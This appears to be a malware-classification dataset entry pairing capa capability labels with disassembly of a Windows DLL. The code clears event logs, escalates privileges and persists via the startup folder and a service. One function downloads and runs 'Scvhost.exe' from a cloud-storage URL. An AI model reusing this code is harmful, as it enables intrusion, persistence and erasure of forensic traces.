joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000303c
Capabilities:
Create thread
Resolve dns

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_inet_addr]
push dword [ebp + 8]
xor esi, esi
cmp eax, 0xffffffff
jne 0x1000307e
call dword [sym.imp.WS2_32.dll_gethostbyname]
cmp eax, esi
je 0x1000308a
movsx ecx, word [eax + 0xa]
mov eax, dword [eax + 0xc]
push ecx
push dword [eax]
lea eax, [ebp + 8]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_inet_ntoa]
push eax
push str.192.168.1.2
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
mov eax, dword [ebp + 0xc]
or dword [0x1000b188], 0xffffffff
mov dword [0x1000b17c], eax
mov eax, dword [ebp + 0x10]
push ebx
mov dword [0x1000b180], eax
call fcn.10002e4e
mov ebx, dword [ebp + 0x14]
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
cmp ebx, esi
mov dword [0x1000c604], esi
jle 0x100030d4
push esi
push esi
push esi
push 0x10002d58
push esi
push esi
call edi
inc dword [0x1000c604]
cmp dword [0x1000c604], ebx
jl 0x100030ba
cmp dword [0x1000b180], esi
pop ebx
je 0x100030e9
push esi
push esi
push esi
push 0x10002b1a
push esi
push esi
call edi
pop edi
pop esi
pop ebp
ret

Function at 0x1000319f
Capabilities:
Create thread
Resolve dns

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_inet_addr]
push dword [ebp + 8]
xor esi, esi
cmp eax, 0xffffffff
jne 0x100031e1
call dword [sym.imp.WS2_32.dll_gethostbyname]
cmp eax, esi
je 0x100031ed
movsx ecx, word [eax + 0xa]
mov eax, dword [eax + 0xc]
push ecx
push dword [eax]
lea eax, [ebp + 8]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_inet_ntoa]
push eax
push str.192.168.1.2
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
mov eax, dword [ebp + 0xc]
or dword [0x1000b188], 0xffffffff
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
push ebx
mov ebx, dword [ebp + 0x14]
mov dword [0x1000b17c], eax
mov eax, dword [ebp + 0x10]
cmp ebx, esi
mov dword [0x1000b180], eax
mov dword [0x1000c604], esi
jle 0x10003232
push esi
push esi
push esi
push 0x100030ed
push esi
push esi
call edi
inc dword [0x1000c604]
cmp dword [0x1000c604], ebx
jl 0x10003218
cmp dword [0x1000b180], esi
pop ebx
je 0x10003247
push esi
push esi
push esi
push 0x10002b1a
push esi
push esi
call edi
pop edi
pop esi
pop ebp
ret
Function at 0x10003449
Capabilities:
Create thread
Resolve dns

Disassembly:
mov eax, 0x100089c4
call fcn.1000850c
push ecx
push ebx
push esi
push dword [ebp + 8]
lea ecx, [ebp + 8]
call fcn.100087be
xor ebx, ebx
push 7
push ebx
lea ecx, [ebp + 8]
mov dword [ebp - 4], ebx
call sub.MFC42.DLL_CString::Delete
mov esi, 0x1000b338
lea ecx, [ebp + 8]
push esi
call sub.MFC42.DLL_CString::Find
push eax
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp + 8]
call sub.MFC42.DLL_CString::Left
push eax
mov ecx, 0x1000c70c
mov byte [ebp - 4], 1
call fcn.100087e2
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], bl
call sub.MFC42.DLL_CString::CString
push esi
lea ecx, [ebp + 8]
call sub.MFC42.DLL_CString::Find
push eax
push ebx
lea ecx, [ebp + 8]
call sub.MFC42.DLL_CString::Delete
lea eax, [ebp + 8]
mov ecx, 0x1000ccbc
push eax
call fcn.100087e2
push dword [0x1000c70c]
call dword [sym.imp.WS2_32.dll_inet_addr]
push dword [0x1000c70c]
cmp eax, 0xffffffff
jne 0x10003508
call dword [sym.imp.WS2_32.dll_gethostbyname]
cmp eax, ebx
je 0x10003514
movsx ecx, word [eax + 0xa]
mov eax, dword [eax + 0xc]
push ecx
push dword [eax]
lea eax, [ebp - 0x10]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push dword [ebp - 0x10]
call dword [sym.imp.WS2_32.dll_inet_ntoa]
push eax
push str.192.168.1.2
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
mov eax, dword [ebp + 0xc]
or dword [0x1000b188], 0xffffffff
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push edi
mov edi, dword [ebp + 0x14]
mov dword [0x1000b17c], eax
mov eax, dword [ebp + 0x10]
cmp edi, ebx
mov dword [0x1000b180], eax
mov dword [0x1000c604], ebx
jle 0x10003559
push ebx
push ebx
push ebx
push 0x1000324b
push ebx
push ebx
call esi
inc dword [0x1000c604]
cmp dword [0x1000c604], edi
jl 0x1000353f
cmp dword [0x1000b180], ebx
pop edi
je 0x1000356e
push ebx
push ebx
push ebx
push 0x10002b1a
push ebx
push ebx
call esi
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call sub.MFC42.DLL_CString::CString
mov ecx, dword [ebp - 0xc]
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret
Function at 0x100037a3
Capabilities:
Create thread
Resolve dns

Disassembly:
mov eax, 0x10008a64
call fcn.1000850c
push ecx
push ebx
push esi
push dword [ebp + 8]
lea ecx, [ebp + 8]
call fcn.100087be
xor ebx, ebx
push 7
push ebx
lea ecx, [ebp + 8]
mov dword [ebp - 4], ebx
call sub.MFC42.DLL_CString::Delete
mov esi, 0x1000b338
lea ecx, [ebp + 8]
push esi
call sub.MFC42.DLL_CString::Find
push eax
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp + 8]
call sub.MFC42.DLL_CString::Left
push eax
mov ecx, 0x1000c70c
mov byte [ebp - 4], 1
call fcn.100087e2
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], bl
call sub.MFC42.DLL_CString::CString
push esi
lea ecx, [ebp + 8]
call sub.MFC42.DLL_CString::Find
push eax
push ebx
lea ecx, [ebp + 8]
call sub.MFC42.DLL_CString::Delete
lea eax, [ebp + 8]
mov ecx, 0x1000ccbc
push eax
call fcn.100087e2
push dword [0x1000c70c]
call dword [sym.imp.WS2_32.dll_inet_addr]
push dword [0x1000c70c]
cmp eax, 0xffffffff
jne 0x10003862
call dword [sym.imp.WS2_32.dll_gethostbyname]
cmp eax, ebx
je 0x1000386e
movsx ecx, word [eax + 0xa]
mov eax, dword [eax + 0xc]
push ecx
push dword [eax]
lea eax, [ebp - 0x10]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push dword [ebp - 0x10]
call dword [sym.imp.WS2_32.dll_inet_ntoa]
push eax
push str.192.168.1.2
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
mov eax, dword [ebp + 0xc]
or dword [0x1000b188], 0xffffffff
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push edi
mov edi, dword [ebp + 0x14]
mov dword [0x1000b17c], eax
mov eax, dword [ebp + 0x10]
cmp edi, ebx
mov dword [0x1000b180], eax
mov dword [0x1000c604], ebx
jle 0x100038b3
push ebx
push ebx
push ebx
push 0x10003588
push ebx
push ebx
call esi
inc dword [0x1000c604]
cmp dword [0x1000c604], edi
jl 0x10003899
cmp dword [0x1000b180], ebx
pop edi
je 0x100038c8
push ebx
push ebx
push ebx
push 0x10002b1a
push ebx
push ebx
call esi
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call sub.MFC42.DLL_CString::CString
mov ecx, dword [ebp - 0xc]
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret

Function at 0x100038e2
Capabilities:
Resolve dns

Disassembly:
push dword [esp + 4]
call dword [sym.imp.WS2_32.dll_inet_addr]
test eax, eax
jge 0x10003906
push dword [esp + 4]
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x100038ff
ret
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
ret
Function at 0x10003dad
Capabilities:
Create thread
Resolve dns

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_inet_addr]
push dword [ebp + 8]
xor esi, esi
cmp eax, 0xffffffff
jne 0x10003def
call dword [sym.imp.WS2_32.dll_gethostbyname]
cmp eax, esi
je 0x10003dfb
movsx ecx, word [eax + 0xa]
mov eax, dword [eax + 0xc]
push ecx
push dword [eax]
lea eax, [ebp + 8]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_inet_ntoa]
push eax
push str.192.168.1.2
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
cmp dword [0x1000b188], 0xffffffff
je 0x10003e4e
or dword [0x1000b188], 0xffffffff
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
push ebx
mov ebx, dword [ebp + 0x14]
cmp ebx, esi
mov dword [0x1000c604], esi
jle 0x10003e39
push esi
push esi
push esi
push 0x10003907
push esi
push esi
call edi
inc dword [0x1000c604]
cmp dword [0x1000c604], ebx
jl 0x10003e1f
cmp dword [0x1000b180], esi
pop ebx
je 0x10003e4e
push esi
push esi
push esi
push 0x10002b1a
push esi
push esi
call edi
pop edi
pop esi
pop ebp
ret

Function at 0x10004242
Capabilities:
Create thread
Resolve dns

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_inet_addr]
push dword [ebp + 8]
xor esi, esi
cmp eax, 0xffffffff
jne 0x10004284
call dword [sym.imp.WS2_32.dll_gethostbyname]
cmp eax, esi
je 0x10004290
movsx ecx, word [eax + 0xa]
mov eax, dword [eax + 0xc]
push ecx
push dword [eax]
lea eax, [ebp + 8]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_inet_ntoa]
push eax
push str.192.168.1.2
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
cmp dword [0x1000b188], 0xffffffff
je 0x100042e3
or dword [0x1000b188], 0xffffffff
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
push ebx
mov ebx, dword [ebp + 0x14]
cmp ebx, esi
mov dword [0x1000c604], esi
jle 0x100042ce
push esi
push esi
push esi
push 0x10003e52
push esi
push esi
call edi
inc dword [0x1000c604]
cmp dword [0x1000c604], ebx
jl 0x100042b4
cmp dword [0x1000b180], esi
pop ebx
je 0x100042e3
push esi
push esi
push esi
push 0x10002b1a
push esi
push esi
call edi
pop edi
pop esi
pop ebp
ret
Function at 0x100043ea
Capabilities:
Create thread
Resolve dns

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_inet_addr]
push dword [ebp + 8]
xor esi, esi
cmp eax, 0xffffffff
jne 0x1000442c
call dword [sym.imp.WS2_32.dll_gethostbyname]
cmp eax, esi
je 0x10004438
movsx ecx, word [eax + 0xa]
mov eax, dword [eax + 0xc]
push ecx
push dword [eax]
lea eax, [ebp + 8]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_inet_ntoa]
push eax
push str.192.168.1.2
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
mov eax, dword [ebp + 0xc]
cmp dword [0x1000b188], 0xffffffff
mov dword [0x1000b17c], eax
mov eax, dword [ebp + 0x10]
mov dword [0x1000b180], eax
je 0x1000449b
or dword [0x1000b188], 0xffffffff
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
push ebx
mov ebx, dword [ebp + 0x14]
cmp ebx, esi
mov dword [0x1000c604], esi
jle 0x10004486
push esi
push esi
push esi
push 0x100042e7
push esi
push esi
call edi
inc dword [0x1000c604]
cmp dword [0x1000c604], ebx
jl 0x1000446c
cmp dword [0x1000b180], esi
pop ebx
je 0x1000449b
push esi
push esi
push esi
push 0x10002b1a
push esi
push esi
call edi
pop edi
pop esi
pop ebp
ret

Function at 0x10004658
Capabilities:
Create thread
Resolve dns

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_inet_addr]
push dword [ebp + 8]
xor esi, esi
cmp eax, 0xffffffff
jne 0x1000469a
call dword [sym.imp.WS2_32.dll_gethostbyname]
cmp eax, esi
je 0x100046a6
movsx ecx, word [eax + 0xa]
mov eax, dword [eax + 0xc]
push ecx
push dword [eax]
lea eax, [ebp + 8]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_inet_ntoa]
push eax
push str.192.168.1.2
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
cmp dword [0x1000b188], 0xffffffff
je 0x100046f9
or dword [0x1000b188], 0xffffffff
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
push ebx
mov ebx, dword [ebp + 0x14]
cmp ebx, esi
mov dword [0x1000c604], esi
jle 0x100046e4
push esi
push esi
push esi
push 0x100044d5
push esi
push esi
call edi
inc dword [0x1000c604]
cmp dword [0x1000c604], ebx
jl 0x100046ca
cmp dword [0x1000b180], esi
pop ebx
je 0x100046f9
push esi
push esi
push esi
push 0x10002b1a
push esi
push esi
call edi
pop edi
pop esi
pop ebp
ret
Function at 0x100048da
Capabilities:
Access the windows event log
Clear windows event logs

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
movzx eax, byte [ebp + 8]
dec eax
mov dword [ebp - 0xc], str.Application
mov dword [ebp - 8], str.Security
mov dword [ebp - 4], str.System
je 0x10004927
dec eax
je 0x1000491c
dec eax
je 0x1000490f
dec eax
jne 0x10004959
mov eax, 0x1000c500
mov dword [ebp - 8], eax
jmp 0x10004917
mov eax, 0x1000c500
mov dword [ebp - 0xc], eax
mov dword [ebp - 4], eax
jmp 0x10004927
mov eax, 0x1000c500
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
push ebx
push esi
push edi
push 3
lea edi, [ebp - 0xc]
pop ebx
push dword [edi]
push 0
call dword [sym.imp.ADVAPI32.dll_OpenEventLogA]
mov esi, eax
test esi, esi
je 0x10004950
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_ClearEventLogA]
push esi
call dword [sym.imp.ADVAPI32.dll_CloseEventLog]
add edi, 4
dec ebx
jne 0x10004930
pop edi
pop esi
pop ebx
leave
ret

Function at 0x100049b9
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x94
call fcn.10002373
cmp byte [0x1000b88c], 2
jne 0x100049dd
push str.Rsdqxg_majanjzm
call fcn.100021f3
pop ecx
jmp 0x100049fc
push 2
push 0
push 0
push 0
push str.Rsdqxg_majanjzm
push str.SYSTEMCurrentControlSetServices
push connect
call fcn.1000834c
add esp, 0x1c
lea eax, [ebp - 0x94]
mov dword [ebp - 0x94], 0x94
push eax
call dword [0x1000cf30]
cmp dword [ebp - 0x84], 2
jne 0x10004a2f
cmp dword [ebp - 0x90], 6
jb 0x10004a2f
mov dword [0x1000d004], 1
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x10004c2e
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2d8
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
push 0x170
lea eax, [ebp - 0x2d8]
push esi
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
xor ebx, ebx
xor eax, eax
lea edi, [ebp - 0x167]
push 0x59
mov byte [ebp - 0x168], bl
pop ecx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push ebx
push ebx
push 2
push ebx
stosb byte es:[edi], al
push 1
lea eax, [ebp - 0x1cc]
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x10004caa
lea eax, [ebp + 8]
push ebx
push eax
mov eax, dword [ebp + 0xc]
add eax, 0xfffffe90
add esi, 0x170
push eax
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x10004cb1
xor eax, eax
jmp 0x10004d37
push edi
call dword [0x1000cf04]
lea eax, [ebp - 0x2d0]
push eax
call sub.MSVCRT.dll_strlen
test eax, eax
pop ecx
je 0x10004cee
lea eax, [ebp - 0x2d0]
push eax
lea eax, [ebp - 0x1cc]
push eax
lea eax, [ebp - 0x168]
push str._s__s
push eax
call dword [0x1000cf54]
add esp, 0x10
jmp 0x10004d02
lea eax, [ebp - 0x1cc]
push eax
lea eax, [ebp - 0x168]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, dword [ebp - 0x2d4]
sub eax, ebx
je 0x10004d24
dec eax
je 0x10004d21
dec eax
dec eax
jne 0x10004d34
lea eax, [ebp - 0x168]
push eax
call fcn.100049b9
jmp 0x10004d33
push ebx
jmp 0x10004d26
push 5
lea eax, [ebp - 0x168]
push eax
call fcn.10004a37
pop ecx
pop ecx
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10005cb6
Capabilities:
Create process on windows
Download url
Receive data

Disassembly:
push esi
xor esi, esi
push edi
push esi
mov edi, str.C:WindowsSysWOW64Scvhost.exe
push esi
push edi
push str.http:__295589399000.oss_cn_shenzhen.aliyuncs.com_yk_Scvhost.exe
push esi
call sub.urlmon.dll_URLDownloadToFileA
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push 5
push esi
push esi
push edi
push str.open
push esi
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push esi
push esi
push esi
push esi
push 0x10005932
push esi
push esi
call fcn.10007b40
add esp, 0x1c
mov esi, eax
push 0xffffffffffffffff
push esi
call dword [0x1000cf14]
push esi
call dword [0x1000cf04]
push 1
pop eax
pop edi
pop esi
ret

Function at 0x10006031
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea ecx, [ebp - 4]
push ecx
push 0x28
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x100060d4
lea eax, [ebp - 0x10]
push ebx
push eax
lea eax, [ebp - 0x28]
xor ebx, ebx
push eax
push ebx
mov byte [ebp - 0x28], 0x53
mov byte [ebp - 0x27], 0x65
mov byte [ebp - 0x26], 0x44
mov byte [ebp - 0x25], 0x65
mov byte [ebp - 0x24], 0x62
mov byte [ebp - 0x23], 0x75
mov byte [ebp - 0x22], 0x67
mov byte [ebp - 0x21], 0x50
mov byte [ebp - 0x20], 0x72
mov byte [ebp - 0x1f], 0x69
mov byte [ebp - 0x1e], 0x76
mov byte [ebp - 0x1d], 0x69
mov byte [ebp - 0x1c], 0x6c
mov byte [ebp - 0x1b], 0x65
mov byte [ebp - 0x1a], 0x67
mov byte [ebp - 0x19], 0x65
mov byte [ebp - 0x18], bl
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x100060ca
push ebx
push ebx
lea eax, [ebp - 0x14]
push ebx
push eax
push ebx
push dword [ebp - 4]
mov dword [ebp - 0x14], 1
mov dword [ebp - 8], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ebx
leave
ret

Function at 0x1000613b
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
and byte [ebp - 0x104], 0
push esi
push edi
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x103]
xor esi, esi
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, dword [ebp + 8]
push edi
call sub.MSVCRT.dll_strlen
test eax, eax
pop ecx
jbe 0x100061b3
cmp byte [esi + edi], 0x5c
jne 0x100061a7
push esi
lea eax, [ebp - 0x104]
push edi
push eax
call fcn.10007c99
lea eax, [ebp - 0x104]
push 0
push eax
call dword [sym.imp.MSVCRT.dll__access]
add esp, 0x14
cmp eax, 0xffffffff
jne 0x100061a7
lea eax, [ebp - 0x104]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push edi
inc esi
call sub.MSVCRT.dll_strlen
cmp esi, eax
pop ecx
jb 0x1000616d
pop edi
pop esi
leave
ret
Function at 0x100061b7
Capabilities:
Copy file
Query environment variable
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x324
push ebx
lea eax, [ebp - 0x18]
xor ebx, ebx
push eax
mov dword [ebp - 0x18], str.Rsdqxg_majanjzm
mov dword [ebp - 0x14], 0x10005f0d
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0xc], ebx
call dword [sym.imp.ADVAPI32.dll_StartServiceCtrlDispatcherA]
test eax, eax
jne 0x1000631a
push esi
push edi
push 0x40
lea edi, [ebp - 0x21f]
pop ecx
mov byte [ebp - 0x220], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x220]
push 0x104
mov esi, str._ProgramFiles_Microsoft_Pphaoq_
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
lea eax, [ebp - 0x220]
push eax
push esi
call sub.MSVCRT.dll_strcpy
push esi
call sub.MSVCRT.dll_strlen
add esp, 0xc
cmp byte [eax + 0x1000b821], 0x5c
jne 0x10006243
push esi
call sub.MSVCRT.dll_strlen
pop ecx
mov byte [eax + 0x1000b821], bl
push str.Varcxu.exe
lea eax, [ebp - 8]
push esi
push eax
lea eax, [ebp - 0x11c]
mov byte [ebp - 8], 0x25
push eax
mov byte [ebp - 7], 0x73
mov byte [ebp - 6], 0x5c
mov byte [ebp - 5], 0x25
mov byte [ebp - 4], 0x73
mov byte [ebp - 3], bl
call dword [sym.imp.MSVCRT.dll_sprintf]
lea eax, [ebp - 0x11c]
push eax
call fcn.1000613b
add esp, 0x14
lea eax, [ebp - 0x324]
push 0xe1
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x11c]
push ebx
push eax
lea eax, [ebp - 0x324]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 2
push ebx
lea eax, [ebp - 0x11c]
push ebx
push eax
push 0x1000b78c
push str.Xvieee_ogqqiucf
push str.Rsdqxg_majanjzm
call fcn.10001eff
add esp, 0x1c
cmp dword [0x1000b894], ebx
mov esi, eax
je 0x100062e1
lea eax, [ebp - 0x11c]
push eax
call fcn.100060d6
pop ecx
pop edi
cmp esi, ebx
pop esi
jne 0x100062f3
call fcn.10005c04
call fcn.10005cb6
jmp 0x1000631a
cmp dword [0x1000b888], ebx
je 0x1000631a
movzx eax, word [0x1000b9f6]
push eax
lea eax, [ebp - 0x11c]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
call fcn.10005c04
call fcn.10002373
pop ebx
leave
ret
Function at 0x1000631d
Capabilities:
Check if file exists
Copy file
Create directory
Create process on windows
Create thread
Get common file path
Get file attributes
Get startup folder
Move file
Set file attributes
Write file to startup folder

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x564
push ebx
push esi
xor esi, esi
push edi
push esi
lea eax, [ebp - 0x154]
push 7
push eax
push esi
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
test eax, eax
je 0x100064c9
mov ebx, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x460]
push 0x104
push eax
push esi
call ebx
lea eax, [ebp - 0x460]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
lea eax, [ebp - 0x154]
push eax
lea eax, [ebp - 0x460]
push eax
call sub.MSVCRT.dll_strcmp
pop ecx
test eax, eax
pop ecx
jne 0x100063a0
cmp dword [0x1000b894], esi
je 0x100064c4
push esi
push esi
push esi
push 0x10005d14
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
jmp 0x100064c4
mov edi, dword [sym.imp.USER32.dll_wsprintfA]
push str.Varcxu.exe
lea eax, [ebp - 0x50]
push 0x1000bac0
push eax
call edi
lea eax, [ebp - 0x50]
push eax
lea eax, [ebp - 0x154]
push eax
lea eax, [ebp - 0x258]
push str._s_s
push eax
call edi
add esp, 0x1c
lea eax, [ebp - 0x258]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x100064c4
lea eax, [ebp - 0x50]
push eax
lea eax, [ebp - 0x154]
push eax
lea eax, [ebp - 0x564]
push str.___s_s
push eax
call edi
add esp, 0x10
lea eax, [ebp - 0x564]
push eax
push str.agmkis2
push 1
call dword [sym.imp.KERNEL32.dll_DefineDosDeviceA]
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x35c]
push 0xe1
push eax
push esi
call ebx
push esi
lea eax, [ebp - 0x35c]
push str.._agmkis2
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 4
lea eax, [ebp - 0x35c]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
movzx eax, word [0x1000b9f6]
push eax
lea eax, [ebp - 0x154]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [ebp - 0x154]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
call fcn.10005c04
cmp dword [0x1000b888], esi
je 0x1000649f
push esi
push esi
lea eax, [ebp - 0x258]
push esi
push eax
push str.open
push esi
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
call fcn.10002373
jmp 0x100064c9
cmp dword [0x1000b894], esi
je 0x100064c4
push esi
push esi
push esi
push 0x10005d14
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
lea eax, [ebp - 0x258]
push eax
call fcn.100060d6
pop ecx
call fcn.10005cb6
pop edi
pop esi
pop ebx
leave
ret